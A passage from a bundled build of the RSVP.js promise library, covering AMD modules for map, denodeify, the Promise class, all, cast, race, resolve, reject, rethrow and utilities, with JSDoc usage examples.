1;\n      };\n\n      RSVP.map(promises, mapFn).then(function(result){\n        // result is [ 2, 3, 4 ]\n      });\n      ```\n\n      If any of the `promises` given to `RSVP.map` are rejected, the first promise\n      that is rejected will be given as an argument to the returned promises's\n      rejection handler. For example:\n\n      ```javascript\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.reject(new Error(\"2\"));\n      var promise3 = RSVP.reject(new Error(\"3\"));\n      var promises = [ promise1, promise2, promise3 ];\n\n      var mapFn = function(item){\n        return item + 1;\n      };\n\n      RSVP.map(promises, mapFn).then(function(array){\n        // Code here never runs because there are rejected promises!\n      }, function(reason) {\n        // reason.message === \"2\"\n      });\n      ```\n\n      `RSVP.map` will also wait if a promise is returned from `mapFn`. For example,\n      say you want to get all comments from a set of blog posts, but you need\n      the blog posts first becuase they contain a url to those comments.\n\n      ```javscript\n\n      var mapFn = function(blogPost){\n        // getComments does some ajax and returns an RSVP.Promise that is fulfilled\n        // with some comments data\n        return getComments(blogPost.comments_url);\n      };\n\n      // getBlogPosts does some ajax and returns an RSVP.Promise that is fulfilled\n      // with some blog post data\n      RSVP.map(getBlogPosts(), mapFn).then(function(comments){\n        // comments is the result of asking the server for the comments\n        // of all blog posts returned from getBlogPosts()\n      });\n      ```\n\n      @method map\n      @for RSVP\n      @param {Array} promises\n      @param {Function} mapFn function to be called on each fulfilled promise.\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise} promise that is fulfilled with the result of calling\n      `mapFn` on each fulfilled promise or value when they become fulfilled.\n       The promise will be rejected if any of the given `promises` become rejected.\n    */\n    __exports__[\"default\"] = function map(promises, mapFn, label) {\n\n      if (!isArray(promises)) {\n        throw new TypeError('You must pass an array to map.');\n      }\n\n      if (!isFunction(mapFn)){\n        throw new TypeError(\"You must pass a function to map's second argument.\");\n      }\n\n      return all(promises, label).then(function(results){\n        var resultLen = results.length,\n            mappedResults = [],\n            i;\n\n        for (i = 0; i < resultLen; i++){\n          mappedResults.push(mapFn(results[i]));\n        }\n\n        return all(mappedResults, label);\n      });\n    };\n  });\ndefine(\"rsvp/node\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    var slice = Array.prototype.slice;\n\n    function makeNodeCallbackFor(resolve, reject) {\n      return function (error, value) {\n        if (error) {\n          reject(error);\n        } else if (arguments.length > 2) {\n          resolve(slice.call(arguments, 1));\n        } else {\n          resolve(value);\n        }\n      };\n    }\n\n    /**\n      `RSVP.denodeify` takes a \"node-style\" function and returns a function that\n      will return an `RSVP.Promise`. You can use `denodeify` in Node.js or the\n      browser when you'd prefer to use promises over using callbacks. For example,\n      `denodeify` transforms the following:\n\n      ```javascript\n      var fs = require('fs');\n\n      fs.readFile('myfile.txt', function(err, data){\n        if (err) return handleError(err);\n        handleData(data);\n      });\n      ```\n\n      into:\n\n      ```javascript\n      var fs = require('fs');\n\n      var readFile = RSVP.denodeify(fs.readFile);\n\n      readFile('myfile.txt').then(handleData, handleError);\n      ```\n\n      Using `denodeify` makes it easier to compose asynchronous operations instead\n      of using callbacks. For example, instead of:\n\n      ```javascript\n      var fs = require('fs');\n      var log = require('some-async-logger');\n\n      fs.readFile('myfile.txt', function(err, data){\n        if (err) return handleError(err);\n        fs.writeFile('myfile2.txt', data, function(err){\n          if (err) throw err;\n          log('success', function(err) {\n            if (err) throw err;\n          });\n        });\n      });\n      ```\n\n      You can chain the operations together using `then` from the returned promise:\n\n      ```javascript\n      var fs = require('fs');\n      var denodeify = RSVP.denodeify;\n      var readFile = denodeify(fs.readFile);\n      var writeFile = denodeify(fs.writeFile);\n      var log = denodeify(require('some-async-logger'));\n\n      readFile('myfile.txt').then(function(data){\n        return writeFile('myfile2.txt', data);\n      }).then(function(){\n        return log('SUCCESS');\n      }).then(function(){\n        // success handler\n      }, function(reason){\n        // rejection handler\n      });\n      ```\n\n      @method denodeify\n      @for RSVP\n      @param {Function} nodeFunc a \"node-style\" function that takes a callback as\n      its last argument. The callback expects an error to be passed as its first\n      argument (if an error occurred, otherwise null), and the value from the\n      operation as its second argument (\"function(err, value){ }\").\n      @param {Any} binding optional argument for binding the \"this\" value when\n      calling the `nodeFunc` function.\n      @return {Function} a function that wraps `nodeFunc` to return an\n      `RSVP.Promise`\n    */\n    __exports__[\"default\"] = function denodeify(nodeFunc, binding) {\n      return function()  {\n        var nodeArgs = slice.call(arguments), resolve, reject;\n        var thisArg = this || binding;\n\n        return new Promise(function(resolve, reject) {\n          Promise.all(nodeArgs).then(function(nodeArgs) {\n            try {\n              nodeArgs.push(makeNodeCallbackFor(resolve, reject));\n              nodeFunc.apply(thisArg, nodeArgs);\n            } catch(e) {\n              reject(e);\n            }\n          });\n        });\n      };\n    };\n  });\ndefine(\"rsvp/promise\", \n  [\"./config\",\"./events\",\"./instrument\",\"./utils\",\"./promise/cast\",\"./promise/all\",\"./promise/race\",\"./promise/resolve\",\"./promise/reject\",\"exports\"],\n  function(__dependency1__, __dependency2__, __dependency3__, __dependency4__, __dependency5__, __dependency6__, __dependency7__, __dependency8__, __dependency9__, __exports__) {\n    \"use strict\";\n    var config = __dependency1__.config;\n    var EventTarget = __dependency2__[\"default\"];\n    var instrument = __dependency3__[\"default\"];\n    var objectOrFunction = __dependency4__.objectOrFunction;\n    var isFunction = __dependency4__.isFunction;\n    var now = __dependency4__.now;\n    var cast = __dependency5__[\"default\"];\n    var all = __dependency6__[\"default\"];\n    var race = __dependency7__[\"default\"];\n    var Resolve = __dependency8__[\"default\"];\n    var Reject = __dependency9__[\"default\"];\n\n    var guidKey = 'rsvp_' + now() + '-';\n    var counter = 0;\n\n    function noop() {}\n\n    __exports__[\"default\"] = Promise;\n\n\n    /**\n\n      Promise objects represent the eventual result of an asynchronous operation. The\n      primary way of interacting with a promise is through its `then` method, which\n      registers callbacks to receive either a promise’s eventual value or the reason\n      why the promise cannot be fulfilled.\n\n      Terminology\n      -----------\n\n      - `promise` is an object or function with a `then` method whose behavior conforms to this specification.\n      - `thenable` is an object or function that defines a `then` method.\n      - `value` is any legal JavaScript value (including undefined, a thenable, or a promise).\n      - `exception` is a value that is thrown using the throw statement.\n      - `reason` is a value that indicates why a promise was rejected.\n      - `settled` the final resting state of a promise, fulfilled or rejected.\n\n      A promise can be in one of three states: pending, fulfilled, or rejected.\n\n\n      Basic Usage:\n      ------------\n\n      ```js\n      var promise = new Promise(function(resolve, reject) {\n        // on success\n        resolve(value);\n\n        // on failure\n        reject(reason);\n      });\n\n      promise.then(function(value) {\n        // on fulfillment\n      }, function(reason) {\n        // on rejection\n      });\n      ```\n\n      Advanced Usage:\n      ---------------\n\n      Promises shine when abstracting away asynchronous interactions such as\n      `XMLHttpRequest`s.\n\n      ```js\n      function getJSON(url) {\n        return new Promise(function(resolve, reject){\n          var xhr = new XMLHttpRequest();\n\n          xhr.open('GET', url);\n          xhr.onreadystatechange = handler;\n          xhr.responseType = 'json';\n          xhr.setRequestHeader('Accept', 'application/json');\n          xhr.send();\n\n          function handler() {\n            if (this.readyState === this.DONE) {\n              if (this.status === 200) {\n                resolve(this.response);\n              } else {\n                reject(new Error(\"getJSON: `\" + url + \"` failed with status: [\" + this.status + \"]\");\n              }\n            }\n          };\n        });\n      }\n\n      getJSON('/posts.json').then(function(json) {\n        // on fulfillment\n      }, function(reason) {\n        // on rejection\n      });\n      ```\n\n      Unlike callbacks, promises are great composable primitives.\n\n      ```js\n      Promise.all([\n        getJSON('/posts'),\n        getJSON('/comments')\n      ]).then(function(values){\n        values[0] // => postsJSON\n        values[1] // => commentsJSON\n\n        return values;\n      });\n      ```\n\n      @class Promise\n      @param {function}\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @constructor\n    */\n    function Promise(resolver, label) {\n      if (!isFunction(resolver)) {\n        throw new TypeError('You must pass a resolver function as the first argument to the promise constructor');\n      }\n\n      if (!(this instanceof Promise)) {\n        throw new TypeError(\"Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.\");\n      }\n\n      this._id = counter++;\n      this._label = label;\n      this._subscribers = [];\n\n      if (config.instrument) {\n        instrument('created', this);\n      }\n\n      if (noop !== resolver) {\n        invokeResolver(resolver, this);\n      }\n    }\n\n    function invokeResolver(resolver, promise) {\n      function resolvePromise(value) {\n        resolve(promise, value);\n      }\n\n      function rejectPromise(reason) {\n        reject(promise, reason);\n      }\n\n      try {\n        resolver(resolvePromise, rejectPromise);\n      } catch(e) {\n        rejectPromise(e);\n      }\n    }\n\n    Promise.cast = cast;\n    Promise.all = all;\n    Promise.race = race;\n    Promise.resolve = Resolve;\n    Promise.reject = Reject;\n\n    var PENDING   = void 0;\n    var SEALED    = 0;\n    var FULFILLED = 1;\n    var REJECTED  = 2;\n\n    function subscribe(parent, child, onFulfillment, onRejection) {\n      var subscribers = parent._subscribers;\n      var length = subscribers.length;\n\n      subscribers[length] = child;\n      subscribers[length + FULFILLED] = onFulfillment;\n      subscribers[length + REJECTED]  = onRejection;\n    }\n\n    function publish(promise, settled) {\n      var child, callback, subscribers = promise._subscribers, detail = promise._detail;\n\n      if (config.instrument) {\n        instrument(settled === FULFILLED ? 'fulfilled' : 'rejected', promise);\n      }\n\n      for (var i = 0; i < subscribers.length; i += 3) {\n        child = subscribers[i];\n        callback = subscribers[i + settled];\n\n        invokeCallback(settled, child, callback, detail);\n      }\n\n      promise._subscribers = null;\n    }\n\n    Promise.prototype = {\n    /**\n      @property constructor\n    */\n      constructor: Promise,\n\n      _id: undefined,\n      _guidKey: guidKey,\n      _label: undefined,\n\n      _state: undefined,\n      _detail: undefined,\n      _subscribers: undefined,\n\n      _onerror: function (reason) {\n        config.trigger('error', reason);\n      },\n\n    /**\n\n      A promise represents the eventual result of an asynchronous operation. The\n      primary way of interacting with a promise is through its `then` method, which\n      registers callbacks to receive either a promise's eventual value or the reason\n      why the promise cannot be fulfilled.\n\n      ```js\n      findUser().then(function(user){\n        // user is available\n      }, function(reason){\n        // user is unavailable, and you are given the reason why\n      });\n      ```\n\n      Chaining\n      --------\n\n      The return value of `then` is itself a promise.  This second, \"downstream\"\n      promise is resolved with the return value of the first promise's fulfillment\n      or rejection handler, or rejected if the handler throws an exception.\n\n      ```js\n      findUser().then(function (user) {\n        return user.name;\n      }, function (reason) {\n        return \"default name\";\n      }).then(function (userName) {\n        // If `findUser` fulfilled, `userName` will be the user's name, otherwise it\n        // will be `\"default name\"`\n      });\n\n      findUser().then(function (user) {\n        throw \"Found user, but still unhappy\";\n      }, function (reason) {\n        throw \"`findUser` rejected and we're unhappy\";\n      }).then(function (value) {\n        // never reached\n      }, function (reason) {\n        // if `findUser` fulfilled, `reason` will be \"Found user, but still unhappy\".  \n        // If `findUser` rejected, `reason` will be \"`findUser` rejected and we're unhappy\".\n      });\n      ```\n      If the downstream promise does not specify a rejection handler, rejection reasons will be propagated further downstream.\n\n      ```js\n      findUser().then(function (user) {\n        throw new PedagogicalException(\"Upstream error\");\n      }).then(function (value) {\n        // never reached\n      }).then(function (value) {\n        // never reached\n      }, function (reason) {\n        // The `PedgagocialException` is propagated all the way down to here\n      });\n      ```\n\n      Assimilation\n      ------------\n\n      Sometimes the value you want to propagate to a downstream promise can only be\n      retrieved asynchronously.  This can be achieved by returning a promise in the\n      fulfillment or rejection handler.  The downstream promise will then be pending\n      until the returned promise is settled.  This is called *assimilation*.\n\n      ```js\n      findUser().then(function (user) {\n        return findCommentsByAuthor(user);\n      }).then(function (comments) {\n        // The user's comments are now available\n      });\n      ```\n\n      If the assimliated promise rejects, then the downstream promise will also reject.\n\n      ```js\n      findUser().then(function (user) {\n        return findCommentsByAuthor(user);\n      }).then(function (comments) {\n        // If `findCommentsByAuthor` fulfills, we'll have the value here\n      }, function (reason) {\n        // If `findCommentsByAuthor` rejects, we'll have the reason here\n      });\n      ```\n\n      Simple Example\n      --------------\n\n      Synchronous Example\n\n      ```javascript\n      var result;\n\n      try {\n        result = findResult();\n        // success\n      } catch(reason) {\n        // failure\n      }\n      ```\n\n      Errback Example\n\n      ```js\n      findResult(function(result, err){\n        if (err) {\n          // failure\n        } else {\n          // success\n        }\n      });\n      ```\n\n      Promise Example;\n\n      ```javacsript\n      findResult().then(function(result){\n\n      }, function(reason){\n\n      });\n      ```\n\n      Advanced Example\n      --------------\n\n      Synchronous Example\n\n      ```javascript\n      var author, books;\n\n      try {\n        author = findAuthor();\n        books  = findBooksByAuthor(author);\n        // success\n      } catch(reason) {\n        // failure\n      }\n      ```\n\n      Errback Example\n\n      ```js\n\n      function foundBooks(books) {\n\n      }\n\n      function failure(reason) {\n\n      }\n\n      findAuthor(function(author, err){\n        if (err) {\n          failure(err);\n          // failure\n        } else {\n          try {\n            findBoooksByAuthor(author, function(books, err) {\n              if (err) {\n                failure(err);\n              } else {\n                try {\n                  foundBooks(books);\n                } catch(reason) {\n                  failure(reason);\n                }\n              }\n            });\n          } catch(error) {\n            failure(err);\n          }\n          // success\n        }\n      });\n      ```\n\n      Promise Example;\n\n      ```javacsript\n      findAuthor().\n        then(findBooksByAuthor).\n        then(function(books){\n          // found books\n      }).catch(function(reason){\n        // something went wrong;\n      });\n      ```\n\n      @method then\n      @param {Function} onFulfillment\n      @param {Function} onRejection\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise}\n    */\n      then: function(onFulfillment, onRejection, label) {\n        var promise = this;\n        this._onerror = null;\n\n        var thenPromise = new this.constructor(noop, label);\n\n        if (this._state) {\n          var callbacks = arguments;\n          config.async(function invokePromiseCallback() {\n            invokeCallback(promise._state, thenPromise, callbacks[promise._state - 1], promise._detail);\n          });\n        } else {\n          subscribe(this, thenPromise, onFulfillment, onRejection);\n        }\n\n        if (config.instrument) {\n          instrument('chained', promise, thenPromise);\n        }\n\n        return thenPromise;\n      },\n\n    /**\n      `catch` is simply sugar for `then(null, onRejection)` which makes it the same\n      as the catch block, of a try/catch statement.\n\n      ```js\n      function findAuthor(){\n        throw new Error(\"couldn't find that author\");\n      }\n\n      // synchronous\n      try {\n        findAuthor();\n      } catch(reason) {\n\n      }\n\n      // async with promises\n      findAuthor().catch(function(reason){\n        // something went wrong;\n      });\n      ```\n\n      @method catch\n      @param {Function} onRejection\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise}\n    */\n      'catch': function(onRejection, label) {\n        return this.then(null, onRejection, label);\n      },\n\n    /**\n      `finally` will be invoked regardless of the promise's fate just as native\n      try/catch/finally behaves\n\n      ```js\n      findAuthor() {\n        if (Math.random() > 0.5) {\n          throw new Error();\n        }\n        return new Author();\n      }\n\n      try {\n        return findAuthor(); // succeed or fail\n      } catch(error) {\n        return findOtherAuther();\n      } finally {\n        // always runs\n        // doesn't effect the return value\n      }\n\n      findAuthor().finally(function(){\n        // author was either found, or not\n      });\n      ```\n\n      @method finally\n      @param {Function} callback\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise}\n    */\n      'finally': function(callback, label) {\n        var constructor = this.constructor;\n\n        return this.then(function(value) {\n          return constructor.cast(callback()).then(function(){\n            return value;\n          });\n        }, function(reason) {\n          return constructor.cast(callback()).then(function(){\n            throw reason;\n          });\n        }, label);\n      }\n    };\n\n    function invokeCallback(settled, promise, callback, detail) {\n      var hasCallback = isFunction(callback),\n          value, error, succeeded, failed;\n\n      if (hasCallback) {\n        try {\n          value = callback(detail);\n          succeeded = true;\n        } catch(e) {\n          failed = true;\n          error = e;\n        }\n      } else {\n        value = detail;\n        succeeded = true;\n      }\n\n      if (handleThenable(promise, value)) {\n        return;\n      } else if (hasCallback && succeeded) {\n        resolve(promise, value);\n      } else if (failed) {\n        reject(promise, error);\n      } else if (settled === FULFILLED) {\n        resolve(promise, value);\n      } else if (settled === REJECTED) {\n        reject(promise, value);\n      }\n    }\n\n    function handleThenable(promise, value) {\n      var then = null,\n      resolved;\n\n      try {\n        if (promise === value) {\n          throw new TypeError(\"A promises callback cannot return that same promise.\");\n        }\n\n        if (objectOrFunction(value)) {\n          then = value.then;\n\n          if (isFunction(then)) {\n            then.call(value, function(val) {\n              if (resolved) { return true; }\n              resolved = true;\n\n              if (value !== val) {\n                resolve(promise, val);\n              } else {\n                fulfill(promise, val);\n              }\n            }, function(val) {\n              if (resolved) { return true; }\n              resolved = true;\n\n              reject(promise, val);\n            }, 'derived from: ' + (promise._label || ' unknown promise'));\n\n            return true;\n          }\n        }\n      } catch (error) {\n        if (resolved) { return true; }\n        reject(promise, error);\n        return true;\n      }\n\n      return false;\n    }\n\n    function resolve(promise, value) {\n      if (promise === value) {\n        fulfill(promise, value);\n      } else if (!handleThenable(promise, value)) {\n        fulfill(promise, value);\n      }\n    }\n\n    function fulfill(promise, value) {\n      if (promise._state !== PENDING) { return; }\n      promise._state = SEALED;\n      promise._detail = value;\n\n      config.async(publishFulfillment, promise);\n    }\n\n    function reject(promise, reason) {\n      if (promise._state !== PENDING) { return; }\n      promise._state = SEALED;\n      promise._detail = reason;\n\n      config.async(publishRejection, promise);\n    }\n\n    function publishFulfillment(promise) {\n      publish(promise, promise._state = FULFILLED);\n    }\n\n    function publishRejection(promise) {\n      if (promise._onerror) {\n        promise._onerror(promise._detail);\n      }\n\n      publish(promise, promise._state = REJECTED);\n    }\n  });\ndefine(\"rsvp/promise/all\", \n  [\"../utils\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var isArray = __dependency1__.isArray;\n    var isNonThenable = __dependency1__.isNonThenable;\n\n    /**\n\n      `RSVP.Promise.all` returns a new promise which is fulfilled with an array of\n      fulfillment values for the passed promises, or rejects with the reason of the\n      first passed promise that rejects. It casts all elements of the passed iterable\n      to promises as it runs this algorithm.\n\n      Example:\n\n      ```javascript\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.resolve(2);\n      var promise3 = RSVP.resolve(3);\n      var promises = [ promise1, promise2, promise3 ];\n\n      RSVP.Promise.all(promises).then(function(array){\n        // The array here would be [ 1, 2, 3 ];\n      });\n      ```\n\n      If any of the `promises` given to `RSVP.all` are rejected, the first promise\n      that is rejected will be given as an argument to the returned promises's\n      rejection handler. For example:\n\n      Example:\n\n      ```javascript\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.reject(new Error(\"2\"));\n      var promise3 = RSVP.reject(new Error(\"3\"));\n      var promises = [ promise1, promise2, promise3 ];\n\n      RSVP.Promise.all(promises).then(function(array){\n        // Code here never runs because there are rejected promises!\n      }, function(error) {\n        // error.message === \"2\"\n      });\n      ```\n\n      @method all\n      @for RSVP.Promise\n      @param {Array} promises\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise} promise that is fulfilled when all `promises` have been\n      fulfilled, or rejected if any of them become rejected.\n    */\n    __exports__[\"default\"] = function all(entries, label) {\n\n      /*jshint validthis:true */\n      var Constructor = this;\n\n      return new Constructor(function(resolve, reject) {\n        if (!isArray(entries)) {\n          throw new TypeError('You must pass an array to all.');\n        }\n\n        var remaining = entries.length;\n        var results = new Array(remaining);\n        var entry, pending = true;\n\n        if (remaining === 0) {\n          resolve(results);\n          return;\n        }\n\n        function fulfillmentAt(index) {\n          return function(value) {\n            results[index] = value;\n            if (--remaining === 0) {\n              resolve(results);\n            }\n          };\n        }\n\n        function onRejection(reason) {\n          remaining = 0;\n          reject(reason);\n        }\n\n        for (var index = 0; index < entries.length; index++) {\n          entry = entries[index];\n          if (isNonThenable(entry)) {\n            results[index] = entry;\n            if (--remaining === 0) {\n              resolve(results);\n            }\n          } else {\n            Constructor.cast(entry).then(fulfillmentAt(index), onRejection);\n          }\n        }\n      }, label);\n    };\n  });\ndefine(\"rsvp/promise/cast\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    /**\n\n      `RSVP.Promise.cast` cast coerces its argument to a promise, or returns the\n      argument if it is already a promise which shares a constructor with the caster;\n\n      Example:\n\n      ```javascript\n      var promise = RSVP.Promise.resolve(1);\n      var casted = RSVP.Promise.cast(promise);\n\n      console.log(promise === casted); // true\n      ```\n\n      In the case of a promise whose constructor does not match, it is assimilated.\n      The resulting promise will fulfill or reject based on the outcome of the\n      promise being casted.\n\n      In the case of a non-promise, a promise which will fulfill with that value is\n      returned.\n\n      Example:\n\n      ```javascript\n      var value = 1; // could be a number, boolean, string, undefined...\n      var casted = RSVP.Promise.cast(value);\n\n      console.log(value === casted); // false\n      console.log(casted instanceof RSVP.Promise) // true\n\n      casted.then(function(val) {\n        val === value // => true\n      });\n      ```\n\n      `RSVP.Promise.cast` is similar to `RSVP.Promise.resolve`, but `RSVP.Promise.cast` differs in the\n      following ways:\n\n      * `RSVP.Promise.cast` serves as a memory-efficient way of getting a promise, when you\n      have something that could either be a promise or a value. RSVP.resolve\n      will have the same effect but will create a new promise wrapper if the\n      argument is a promise.\n      * `RSVP.Promise.cast` is a way of casting incoming thenables or promise subclasses to\n      promises of the exact class specified, so that the resulting object's `then` is\n      ensured to have the behavior of the constructor you are calling cast on (i.e., RSVP.Promise).\n\n      @method cast\n      @for RSVP.Promise\n      @param {Object} object to be casted\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise} promise\n    */\n\n    __exports__[\"default\"] = function cast(object, label) {\n      /*jshint validthis:true */\n      var Constructor = this;\n\n      if (object && typeof object === 'object' && object.constructor === Constructor) {\n        return object;\n      }\n\n      return new Constructor(function(resolve) {\n        resolve(object);\n      }, label);\n    };\n  });\ndefine(\"rsvp/promise/race\", \n  [\"../utils\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    /* global toString */\n\n    var isArray = __dependency1__.isArray;\n    var isFunction = __dependency1__.isFunction;\n    var isNonThenable = __dependency1__.isNonThenable;\n\n    /**\n      `RSVP.Promise.race` returns a new promise which is settled in the same way as the\n      first passed promise to settle.\n\n      Example:\n\n      ```javascript\n      var promise1 = new RSVP.Promise(function(resolve, reject){\n        setTimeout(function(){\n          resolve(\"promise 1\");\n        }, 200);\n      });\n\n      var promise2 = new RSVP.Promise(function(resolve, reject){\n        setTimeout(function(){\n          resolve(\"promise 2\");\n        }, 100);\n      });\n\n      RSVP.Promise.race([promise1, promise2]).then(function(result){\n        // result === \"promise 2\" because it was resolved before promise1\n        // was resolved.\n      });\n      ```\n\n      `RSVP.Promise.race` is deterministic in that only the state of the first\n      completed promise matters. For example, even if other promises given to the\n      `promises` array argument are resolved, but the first completed promise has\n      become rejected before the other promises became fulfilled, the returned\n      promise will become rejected:\n\n      ```javascript\n      var promise1 = new RSVP.Promise(function(resolve, reject){\n        setTimeout(function(){\n          resolve(\"promise 1\");\n        }, 200);\n      });\n\n      var promise2 = new RSVP.Promise(function(resolve, reject){\n        setTimeout(function(){\n          reject(new Error(\"promise 2\"));\n        }, 100);\n      });\n\n      RSVP.Promise.race([promise1, promise2]).then(function(result){\n        // Code here never runs because there are rejected promises!\n      }, function(reason){\n        // reason.message === \"promise2\" because promise 2 became rejected before\n        // promise 1 became fulfilled\n      });\n      ```\n\n      @method race\n      @for RSVP.Promise\n      @param {Array} promises array of promises to observe\n      @param {String} label optional string for describing the promise returned.\n      Useful for tooling.\n      @return {Promise} a promise which settles in the same way as the first passed\n      promise to settle.\n    */\n    __exports__[\"default\"] = function race(entries, label) {\n      /*jshint validthis:true */\n      var Constructor = this, entry;\n\n      return new Constructor(function(resolve, reject) {\n        if (!isArray(entries)) {\n          throw new TypeError('You must pass an array to race.');\n        }\n\n        var pending = true;\n\n        function onFulfillment(value) { if (pending) { pending = false; resolve(value); } }\n        function onRejection(reason)  { if (pending) { pending = false; reject(reason); } }\n\n        for (var i = 0; i < entries.length; i++) {\n          entry = entries[i];\n          if (isNonThenable(entry)) {\n            pending = false;\n            resolve(entry);\n            return;\n          } else {\n            Constructor.cast(entry).then(onFulfillment, onRejection);\n          }\n        }\n      }, label);\n    };\n  });\ndefine(\"rsvp/promise/reject\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    /**\n      `RSVP.Promise.reject` returns a promise  rejected with the passed `reason`.\n      It is essentially shorthand for the following:\n\n      ```javascript\n      var promise = new RSVP.Promise(function(resolve, reject){\n        reject(new Error('WHOOPS'));\n      });\n\n      promise.then(function(value){\n        // Code here doesn't run because the promise is rejected!\n      }, function(reason){\n        // reason.message === 'WHOOPS'\n      });\n      ```\n\n      Instead of writing the above, your code now simply becomes the following:\n\n      ```javascript\n      var promise = RSVP.Promise.reject(new Error('WHOOPS'));\n\n      promise.then(function(value){\n        // Code here doesn't run because the promise is rejected!\n      }, function(reason){\n        // reason.message === 'WHOOPS'\n      });\n      ```\n\n      @method reject\n      @for RSVP.Promise\n      @param {Any} reason value that the returned promise will be rejected with.\n      @param {String} label optional string for identifying the returned promise.\n      Useful for tooling.\n      @return {Promise} a promise rejected with the given `reason`.\n    */\n    __exports__[\"default\"] = function reject(reason, label) {\n      /*jshint validthis:true */\n      var Constructor = this;\n\n      return new Constructor(function (resolve, reject) {\n        reject(reason);\n      }, label);\n    };\n  });\ndefine(\"rsvp/promise/resolve\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    /**\n      `RSVP.Promise.resolve` returns a promise that will become fulfilled with the passed\n      `value`. It is essentially shorthand for the following:\n\n      ```javascript\n      var promise = new RSVP.Promise(function(resolve, reject){\n        resolve(1);\n      });\n\n      promise.then(function(value){\n        // value === 1\n      });\n      ```\n\n      Instead of writing the above, your code now simply becomes the following:\n\n      ```javascript\n      var promise = RSVP.Promise.resolve(1);\n\n      promise.then(function(value){\n        // value === 1\n      });\n      ```\n\n      @method resolve\n      @for RSVP.Promise\n      @param {Any} value value that the returned promise will be resolved with\n      @param {String} label optional string for identifying the returned promise.\n      Useful for tooling.\n      @return {Promise} a promise that will become fulfilled with the given\n      `value`\n    */\n    __exports__[\"default\"] = function resolve(value, label) {\n      /*jshint validthis:true */\n      var Constructor = this;\n\n      return new Constructor(function(resolve, reject) {\n        resolve(value);\n      }, label);\n    };\n  });\ndefine(\"rsvp/race\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    __exports__[\"default\"] = function race(array, label) {\n      return Promise.race(array, label);\n    };\n  });\ndefine(\"rsvp/reject\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    __exports__[\"default\"] = function reject(reason, label) {\n      return Promise.reject(reason, label);\n    };\n  });\ndefine(\"rsvp/resolve\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    __exports__[\"default\"] = function resolve(value, label) {\n      return Promise.resolve(value, label);\n    };\n  });\ndefine(\"rsvp/rethrow\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    /**\n      `RSVP.rethrow` will rethrow an error on the next turn of the JavaScript event\n      loop in order to aid debugging.\n\n      Promises A+ specifies that any exceptions that occur with a promise must be\n      caught by the promises implementation and bubbled to the last handler. For\n      this reason, it is recommended that you always specify a second rejection\n      handler function to `then`. However, `RSVP.rethrow` will throw the exception\n      outside of the promise, so it bubbles up to your console if in the browser,\n      or domain/cause uncaught exception in Node. `rethrow` will throw the error\n      again so the error can be handled by the promise.\n\n      ```javascript\n      function throws(){\n        throw new Error('Whoops!');\n      }\n\n      var promise = new RSVP.Promise(function(resolve, reject){\n        throws();\n      });\n\n      promise.catch(RSVP.rethrow).then(function(){\n        // Code here doesn't run because the promise became rejected due to an\n        // error!\n      }, function (err){\n        // handle the error here\n      });\n      ```\n\n      The 'Whoops' error will be thrown on the next turn of the event loop\n      and you can watch for it in your console. You can also handle it using a\n      rejection handler given to `.then` or `.catch` on the returned promise.\n\n      @method rethrow\n      @for RSVP\n      @param {Error} reason reason the promise became rejected.\n      @throws Error\n    */\n    __exports__[\"default\"] = function rethrow(reason) {\n      setTimeout(function() {\n        throw reason;\n      });\n      throw reason;\n    };\n  });\ndefine(\"rsvp/utils\", \n  [\"exports\"],\n  function(__exports__) {\n    \"use strict\";\n    function objectOrFunction(x) {\n      return typeof x === \"function\" || (typeof x === \"object\" && x !== null);\n    }\n\n    __exports__.objectOrFunction = objectOrFunction;function isFunction(x) {\n      return typeof x === \"function\";\n    }\n\n    __exports__.isFunction = isFunction;function isNonThenable(x) {\n      return !objectOrFunction(x);\n    }\n\n    __exports__.isNonThenable = isNonThenable;function isArray(x) {\n      return Object.prototype.toString.call(x) === \"[object Array]\";\n    }\n\n    __exports__.isArray = isArray;// Date.now is not available in browsers < IE9\n    // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now#Compatibility\n    var now = Date.now || function() { return new Date().getTime(); };\n    __exports__.now = now;\n    var keysOf = Object.keys || function(object) {\n      var result = [];\n\n      for (var prop in object) {\n        result.push(prop);\n      }\n\n      return result;\n    };\n    __exports__.keysOf = keysOf;\n  });\ndefine(\"rsvp\", \n  [\"./rsvp/promise\",\"./rsvp/events\",\"./rsvp/node\",\"./rsvp/all\",\"./rsvp/all_settled\",\"./rsvp/race\",\"./rsvp/hash\",\"./rsvp/rethrow\",\"./rsvp/defer\",\"./rsvp/config\",\"./rsvp/map\",\"./rsvp/resolve\",\"./rsvp/reject\",\"./rsvp/asap\",\"./rsvp/filter\",\"exports\"],\n  function(__dependency1__, __dependency2__, __dependency3__, __dependency4__, __dependency5__, __dependency6__, __dependency7__, __dependency8__, __dependency9__, __dependency10__, __dependency11__, __dependency12__, __dependency13__, __dependency14__, __dependency15__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n    var EventTarget = 